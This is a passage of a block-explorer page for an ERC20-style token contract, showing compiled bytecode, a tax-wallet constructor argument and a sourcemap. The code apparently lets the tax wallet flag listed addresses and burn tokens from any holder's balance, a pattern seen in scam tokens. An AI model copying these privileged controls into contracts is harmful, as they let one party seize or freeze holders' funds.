8f55a4df523b3ef611ccf848661244390919063ffffffff16565b604051611cdc91906126cf565b60405180910390a350505050565b6000838311158290611d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d299190612580565b60405180910390fd5b5060008385611d4191906133c2565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490613468565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b906134fa565b60405180910390fd5b81601754611e5291906133c2565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254611ea791906133c2565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f0c91906126cf565b60405180910390a3505050565b6001601a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5157611f506127a5565b5b604051908082528060200260200182016040528015611f7f5781602001602082028036833780820191505090505b5090503081600081518110611f9757611f96612bc6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561203e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612062919061352f565b8160018151811061207657612075612bc6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120dd30601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612141959493929190613655565b600060405180830381600087803b15801561215b57600080fd5b505af115801561216f573d6000803e3d6000fd5b50505050506000601a60146101000a81548160ff02191690831515021790555050565b601254601381905550601254601481905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561224d57600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661224c57600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60085460405161227e91906126cf565b60405180910390a150565b600080830361229b57600090506122fd565b600082846122a99190613208565b90508284826122b891906136de565b146122f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ef90613781565b60405180910390fd5b809150505b92915050565b600061234583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061248d565b905092915050565b600080823b905060008111915050919050565b600081831161236f5782612371565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123e1573d6000803e3d6000fd5b5050565b60008082846123f49190613322565b905083811015612439576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612430906137ed565b60405180910390fd5b8091505092915050565b600061248583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cea565b905092915050565b600080831182906124d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cb9190612580565b60405180910390fd5b50600083856124e391906136de565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561252a57808201518184015260208101905061250f565b60008484015250505050565b6000601f19601f8301169050919050565b6000612552826124f0565b61255c81856124fb565b935061256c81856020860161250c565b61257581612536565b840191505092915050565b6000602082019050818103600083015261259a8184612547565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125e1826125b6565b9050919050565b6125f1816125d6565b81146125fc57600080fd5b50565b60008135905061260e816125e8565b92915050565b6000819050919050565b61262781612614565b811461263257600080fd5b50565b6000813590506126448161261e565b92915050565b60008060408385031215612661576126606125ac565b5b600061266f858286016125ff565b925050602061268085828601612635565b9150509250929050565b60008115159050919050565b61269f8161268a565b82525050565b60006020820190506126ba6000830184612696565b92915050565b6126c981612614565b82525050565b60006020820190506126e460008301846126c0565b92915050565b600080600060608486031215612703576127026125ac565b5b6000612711868287016125ff565b9350506020612722868287016125ff565b925050604061273386828701612635565b9150509250925092565b600060ff82169050919050565b6127538161273d565b82525050565b600060208201905061276e600083018461274a565b92915050565b61277d8161268a565b811461278857600080fd5b50565b60008135905061279a81612774565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6127dd82612536565b810181811067ffffffffffffffff821117156127fc576127fb6127a5565b5b80604052505050565b600061280f6125a2565b905061281b82826127d4565b919050565b600067ffffffffffffffff82111561283b5761283a6127a5565b5b602082029050602081019050919050565b600080fd5b600061286461285f84612820565b612805565b905080838252602082019050602084028301858111156128875761288661284c565b5b835b818110156128b0578061289c88826125ff565b845260208401935050602081019050612889565b5050509392505050565b600082601f8301126128cf576128ce6127a0565b5b81356128df848260208601612851565b91505092915050565b600080604083850312156128ff576128fe6125ac565b5b600061290d8582860161278b565b925050602083013567ffffffffffffffff81111561292e5761292d6125b1565b5b61293a858286016128ba565b9150509250929050565b60006020828403121561295a576129596125ac565b5b6000612968848285016125ff565b91505092915050565b6000819050919050565b600061299661299161298c846125b6565b612971565b6125b6565b9050919050565b60006129a88261297b565b9050919050565b60006129ba8261299d565b9050919050565b6129ca816129af565b82525050565b60006020820190506129e560008301846129c1565b92915050565b6129f4816125d6565b82525050565b6000602082019050612a0f60008301846129eb565b92915050565b600060208284031215612a2b57612a2a6125ac565b5b6000612a3984828501612635565b91505092915050565b60008060408385031215612a5957612a586125ac565b5b6000612a67858286016125ff565b9250506020612a78858286016125ff565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ab86020836124fb565b9150612ac382612a82565b602082019050919050565b60006020820190508181036000830152612ae781612aab565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612b24601f836124fb565b9150612b2f82612aee565b602082019050919050565b60006020820190508181036000830152612b5381612b17565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612b90601b836124fb565b9150612b9b82612b5a565b602082019050919050565b60006020820190508181036000830152612bbf81612b83565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c2f82612614565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612c6157612c60612bf5565b5b600182019050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ca2600c836124fb565b9150612cad82612c6c565b602082019050919050565b60006020820190508181036000830152612cd181612c95565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0e6017836124fb565b9150612d1982612cd8565b602082019050919050565b60006020820190508181036000830152612d3d81612d01565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612da06024836124fb565b9150612dab82612d44565b604082019050919050565b60006020820190508181036000830152612dcf81612d93565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e326022836124fb565b9150612e3d82612dd6565b604082019050919050565b60006020820190508181036000830152612e6181612e25565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612ec46025836124fb565b9150612ecf82612e68565b604082019050919050565b60006020820190508181036000830152612ef381612eb7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f566023836124fb565b9150612f6182612efa565b604082019050919050565b60006020820190508181036000830152612f8581612f49565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fe86029836124fb565b9150612ff382612f8c565b604082019050919050565b6000602082019050818103600083015261301781612fdb565b9050919050565b7f43616e27742062757920696e2074686520666972737420626c6f636b00000000600082015250565b6000613054601c836124fb565b915061305f8261301e565b602082019050919050565b6000602082019050818103600083015261308381613047565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156130e1578086048111156130bd576130bc612bf5565b5b60018516156130cc5780820291505b80810290506130da8561308a565b94506130a1565b94509492505050565b6000826130fa57600190506131b6565b8161310857600090506131b6565b816001811461311e576002811461312857613157565b60019150506131b6565b60ff84111561313a57613139612bf5565b5b8360020a91508482111561315157613150612bf5565b5b506131b6565b5060208310610133831016604e8410600b841016171561318c5782820a90508381111561318757613186612bf5565b5b6131b6565b6131998484846001613097565b925090508184048111156131b0576131af612bf5565b5b81810290505b9392505050565b60006131c882612614565b91506131d38361273d565b92506132007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846130ea565b905092915050565b600061321382612614565b915061321e83612614565b925082820261322c81612614565b9150828204841483151761324357613242612bf5565b5b5092915050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613280601a836124fb565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006132ec6018836124fb565b91506132f7826132b6565b602082019050919050565b6000602082019050818103600083015261331b816132df565b9050919050565b600061332d82612614565b915061333883612614565b92508282019050808211156133505761334f612bf5565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061338c601a836124fb565b915061339782613356565b602082019050919050565b600060208201905081810360008301526133bb8161337f565b9050919050565b60006133cd82612614565b91506133d883612614565b92508282039050818111156133f0576133ef612bf5565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006134526021836124fb565b915061345d826133f6565b604082019050919050565b6000602082019050818103600083015261348181613445565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006134e46022836124fb565b91506134ef82613488565b604082019050919050565b60006020820190508181036000830152613513816134d7565b9050919050565b600081519050613529816125e8565b92915050565b600060208284031215613545576135446125ac565b5b60006135538482850161351a565b91505092915050565b6000819050919050565b600061358161357c6135778461355c565b612971565b612614565b9050919050565b61359181613566565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135cc816125d6565b82525050565b60006135de83836135c3565b60208301905092915050565b6000602082019050919050565b600061360282613597565b61360c81856135a2565b9350613617836135b3565b8060005b8381101561364857815161362f88826135d2565b975061363a836135ea565b92505060018101905061361b565b5085935050505092915050565b600060a08201905061366a60008301886126c0565b6136776020830187613588565b818103604083015261368981866135f7565b905061369860608301856129eb565b6136a560808301846126c0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136e982612614565b91506136f483612614565b925082613704576137036136af565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061376b6021836124fb565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137d7601b836124fb565b91506137e2826137a1565b602082019050919050565b60006020820190508181036000830152613806816137ca565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c466b0c098bb2771eaad49d380a93531a87c50d79aca6ec15bde174d935312b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000b2dd6b9ff839972fa1f52848773a6f70b6e10ceb

-----Decoded View---------------
Arg [0] : taxWallet_ (address): 0xB2Dd6B9FF839972fa1F52848773a6F70b6e10CEB

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b2dd6b9ff839972fa1f52848773a6f70b6e10ceb


Deployed Bytecode Sourcemap

2136:10218:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4537:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5370:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3380:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4723:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5539:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4826:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2834:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11258:295;;;;;;;;;;;;;:::i;:::-;;2953:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9525:355;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4917:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:3;;;;;;;;;;;;;:::i;:::-;;3252:56:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3613:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3315:58:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4628:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12171:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5195:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11562:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2915:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3441:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12038:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11826:204;;;;;;;;;;;;;:::i;:::-;;5044:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2874:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10183:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3818:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4537:83;4574:13;4607:5;;;;;;;;;;;;;;;;;4600:12;;4537:83;:::o;5370:161::-;5445:4;5462:39;5471:12;:10;:12::i;:::-;5485:7;5494:6;5462:8;:39::i;:::-;5519:4;5512:11;;5370:161;;;;:::o;3380:54::-;;;;:::o;4723:95::-;4776:7;4803;;4796:14;;4723:95;:::o;5539:313::-;5637:4;5654:36;5664:6;5672:9;5683:6;5654:9;:36::i;:::-;5701:121;5710:6;5718:12;:10;:12::i;:::-;5732:89;5770:6;5732:89;;;;;;;;;;;;;;;;;:11;:19;5744:6;5732:19;;;;;;;;;;;;;;;:33;5752:12;:10;:12::i;:::-;5732:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5701:8;:121::i;:::-;5840:4;5833:11;;5539:313;;;;;:::o;4826:83::-;4867:5;2664:1;4885:16;;4826:83;:::o;2834:33::-;;;;:::o;11258:295::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11317:11:2::1;;;;;;;;;;;11316:12;11308:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;11375:23;11401:21;11375:47;;11459:1;11441:15;:19;11433:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;11511:7;:5;:7::i;:::-;11503:25;;:42;11529:15;11503:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11297:256;11258:295::o:0;2953:32::-;;;;:::o;9525:355::-;9628:10;;;;;;;;;;;9612:26;;:12;:10;:12::i;:::-;:26;;;9604:35;;;;;;9650:13;9678:195;9693:5;:12;9685:5;:20;9678:195;;;9722:14;9747:5;9753;9747:12;;;;;;;;:::i;:::-;;;;;;;;9722:38;;9836:3;9775:50;:58;9826:6;9775:58;;;;;;;;;;;;;;;;:64;;;;;;;;;;;;;;;;;;9854:7;;;;;:::i;:::-;;;;9707:166;9678:195;;;9593:287;9525:355;;:::o;4917:119::-;4983:7;5010:9;:18;5020:7;5010:18;;;;;;;;;;;;;;;;5003:25;;4917:119;;;:::o;621:148:3:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3252:56:2:-;;;;:::o;3613:39::-;;;;;;;;;;;;;:::o;407:79:3:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3315:58:2:-;;;;:::o;4628:87::-;4667:13;4700:7;;;;;;;;;;;;;;;;;4693:14;;4628:87;:::o;12171:143::-;12262:10;;;;;;;;;;;12246:26;;:12;:10;:12::i;:::-;:26;;;12238:35;;;;;;12284:22;12290:7;12299:6;12284:5;:22::i;:::-;12171:143;;:::o;5195:167::-;5273:4;5290:42;5300:12;:10;:12::i;:::-;5314:9;5325:6;5290:9;:42::i;:::-;5350:4;5343:11;;5195:167;;;;:::o;11562:254::-;11640:10;;;;;;;;;;;11624:26;;:12;:10;:12::i;:::-;:26;;;11616:35;;;;;;11680:24;11698:4;11680:9;:24::i;:::-;11670:6;:34;;:48;;;;;11717:1;11708:6;:10;11670:48;11662:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11746:24;11763:6;11746:16;:24::i;:::-;11781:10;;;;;;;;;;;:19;;:27;11801:6;11781:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11562:254;:::o;2915:31::-;;;;:::o;3441:57::-;;;;:::o;12038:125::-;12112:10;;;;;;;;;;;12096:26;;:12;:10;:12::i;:::-;:26;;;12088:35;;;;;;12150:5;12134:13;;:21;;;;;;;;;;;;;;;;;;12038:125;:::o;11826:204::-;544:12:3;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11890:11:2::1;;;;;;;;;;;11889:12;11881:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11953:4;11939:11;;:18;;;;;;;;;;;;;;;;;;11982:4;11968:11;;:18;;;;;;;;;;;;;;;;;;12010:12;11997:10;:25;;;;11826:204::o:0;5044:143::-;5125:7;5152:11;:18;5164:5;5152:18;;;;;;;;;;;;;;;:27;5171:7;5152:27;;;;;;;;;;;;;;;;5145:34;;5044:143;;;;:::o;2874:34::-;;;;:::o;10183:167::-;10262:4;10285:50;:57;10336:5;10285:57;;;;;;;;;;;;;;;;;;;;;;;;;10278:64;;10183:167;;;:::o;3818:31::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5860:335:2:-;5970:1;5953:19;;:5;:19;;;5945:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6051:1;6032:21;;:7;:21;;;6024:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6133:6;6103:11;:18;6115:5;6103:18;;;;;;;;;;;;;;;:27;6122:7;6103:27;;;;;;;;;;;;;;;:36;;;;6171:7;6155:32;;6164:5;6155:32;;;6180:6;6155:32;;;;;;:::i;:::-;;;;;;;;5860:335;;;:::o;6640:2543::-;6744:1;6728:18;;:4;:18;;;6720:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6821:1;6807:16;;:2;:16;;;6799:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6891:1;6882:6;:10;6874:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6949:17;6991:7;:5;:7::i;:::-;6983:15;;:4;:15;;;;:32;;;;;7008:7;:5;:7::i;:::-;7002:13;;:2;:13;;;;6983:32;6979:1848;;;7045:1;7032:10;;:14;:43;;;;;7065:10;;7050:12;:25;7032:43;7028:127;;;7106:29;7130:4;7106:23;:29::i;:::-;7028:127;7181:77;7254:3;7181:68;7204:15;;7193:9;;:26;;7192:56;;7234:14;;7192:56;;;7221:12;;7192:56;7181:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;7169:89;;7287:13;;;;;;;;;;;7279:21;;:4;:21;;;:55;;;;;7318:15;;;;;;;;;;;7304:30;;:2;:30;;;;7279:55;7275:661;;;7373:12;7359:10;;:26;7355:566;;7418:18;:22;7437:2;7418:22;;;;;;;;;;;;;;;;;;;;;;;;;7410:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;2664:1;3560:2;:13;;;;:::i;:::-;3547:10;:26;;;;:::i;:::-;7504:6;:24;;7496:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7355:566;;;7626:12;;7616:6;:22;;7608:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7724:14;;7714:6;7698:13;7708:2;7698:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7690:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7813:12;7809:1;7796:10;;:14;;;;:::i;:::-;:29;7792:110;;;7863:14;7874:2;7863:10;:14::i;:::-;7862:15;7854:24;;;;;;7792:110;7355:566;7275:661;7962:13;;;;;;;;;;;7956:19;;:2;:19;;;;:46;;;;;7980:18;:22;7999:2;7980:22;;;;;;;;;;;;;;;;;;;;;;;;;7979:23;7956:46;7952:166;;;8057:14;;8047:6;8031:13;8041:2;8031:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8023:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7952:166;8143:13;;;;;;;;;;;8137:19;;:2;:19;;;:43;;;;;8175:4;8160:20;;:4;:20;;;;8137:43;8134:174;;;8213:79;8288:3;8213:70;8235:16;;8225:9;;:26;8224:58;;8267:15;;8224:58;;;8253:13;;8224:58;8213:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8201:91;;8134:174;8324:28;8355:24;8373:4;8355:9;:24::i;:::-;8324:55;;8399:6;;;;;;;;;;;8398:7;:31;;;;;8416:13;;;;;;;;;;;8409:20;;:2;:20;;;8398:31;:46;;;;;8433:11;;;;;;;;;;;8398:46;:88;;;;;8469:17;;8448:20;:38;8398:88;:120;;;;;8500:18;;8490:9;;:28;8398:120;8394:420;;;8539:67;8556:49;8560:6;8567:37;8571:20;8592:11;;8567:3;:37::i;:::-;8556:3;:49::i;:::-;8539:16;:67::i;:::-;8625:26;8654:21;8625:50;;8718:1;8697:18;:22;8694:105;;;8744:35;8757:21;8744:12;:35::i;:::-;8694:105;8520:294;8394:420;7017:1810;6979:1848;8852:1;8842:9;:11;8839:161;;;8892:39;8921:9;8892;:24;8910:4;8892:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8867:9;:24;8885:4;8867:24;;;;;;;;;;;;;;;:64;;;;8972:4;8949:39;;8958:4;8949:39;;;8978:9;8949:39;;;;;;:::i;:::-;;;;;;;;8839:161;9026:27;9046:6;9026:9;:15;9036:4;9026:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9010:9;:15;9020:4;9010:15;;;;;;;;;;;;;;;:43;;;;9078:40;9096:21;9107:9;9096:6;:10;;:21;;;;:::i;:::-;9078:9;:13;9088:2;9078:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9064:9;:13;9074:2;9064:13;;;;;;;;;;;;;;;:54;;;;9149:2;9134:41;;9143:4;9134:41;;;9153:21;9164:9;9153:6;:10;;:21;;;;:::i;:::-;9134:41;;;;;;:::i;:::-;;;;;;;;6709:2474;6640:2543;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;6203:429::-;6306:1;6287:21;;:7;:21;;;6279:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6363:22;6388:9;:18;6398:7;6388:18;;;;;;;;;;;;;;;;6363:43;;6443:6;6425:14;:24;;6417:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6537:6;6526:8;;:17;;;;:::i;:::-;6505:9;:18;6515:7;6505:18;;;;;;;;;;;;;;;:38;;;;6565:6;6554:7;;:17;;;;;;;:::i;:::-;;;;;;;;6613:1;6587:37;;6596:7;6587:37;;;6617:6;6587:37;;;;;;:::i;:::-;;;;;;;;6268:364;6203:429;;:::o;10561:483::-;3949:4;3940:6;;:13;;;;;;;;;;;;;;;;;;10639:21:::1;10677:1;10663:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10639:40;;10708:4;10690;10695:1;10690:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10734:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10724:4;10729:1;10724:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10767:62;10784:4;10799:15;;;;;;;;;;;10817:11;10767:8;:62::i;:::-;10840:15;;;;;;;;;;;:66;;;10921:11;10947:1;10963:4;10990;11010:15;10840:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10628:416;3985:5:::0;3976:6;;:14;;;;;;;;;;;;;;;;;;10561:483;:::o;9892:283::-;9975:6;;9960:12;:21;;;;10009:6;;9992:14;:23;;;;10029:50;:58;10080:6;10029:58;;;;;;;;;;;;;;;;;;;;;;;;;10026:98;;;10097:18;:26;10116:6;10097:26;;;;;;;;;;;;;;;;;;;;;;;;;10089:35;;;;;;10026:98;10140:27;10159:7;;10140:27;;;;;;:::i;:::-;;;;;;;;9892:283;:::o;693:246::-;751:7;780:1;775;:6;771:47;;805:1;798:8;;;;771:47;828:9;844:1;840;:5;;;;:::i;:::-;828:17;;873:1;868;864;:5;;;;:::i;:::-;:10;856:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:1;923:8;;;693:246;;;;;:::o;947:132::-;1005:7;1032:39;1036:1;1039;1032:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1025:46;;947:132;;;;:::o;10358:195::-;10417:4;10434:12;10501:7;10489:20;10481:28;;10544:1;10537:4;:8;10530:15;;;10358:195;;;:::o;11052:98::-;11109:7;11136:1;11134;:3;11133:9;;11141:1;11133:9;;;11139:1;11133:9;11126:16;;11052:98;;;;:::o;11158:92::-;11215:10;;;;;;;;;;;:19;;:27;11235:6;11215:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11158:92;:::o;164:179::-;222:7;242:9;258:1;254;:5;;;;:::i;:::-;242:17;;283:1;278;:6;;270:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;334:1;327:8;;;164:179;;;;:::o;351:136::-;409:7;436:43;440:1;443;436:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;429:50;;351:136;;;;:::o;1087:189::-;1173:7;1205:1;1201;:5;1208:12;1193:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1232:9;1248:1;1244;:5;;;;:::i;:::-;1232:17;;1267:1;1260:8;;;1087:189;;;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205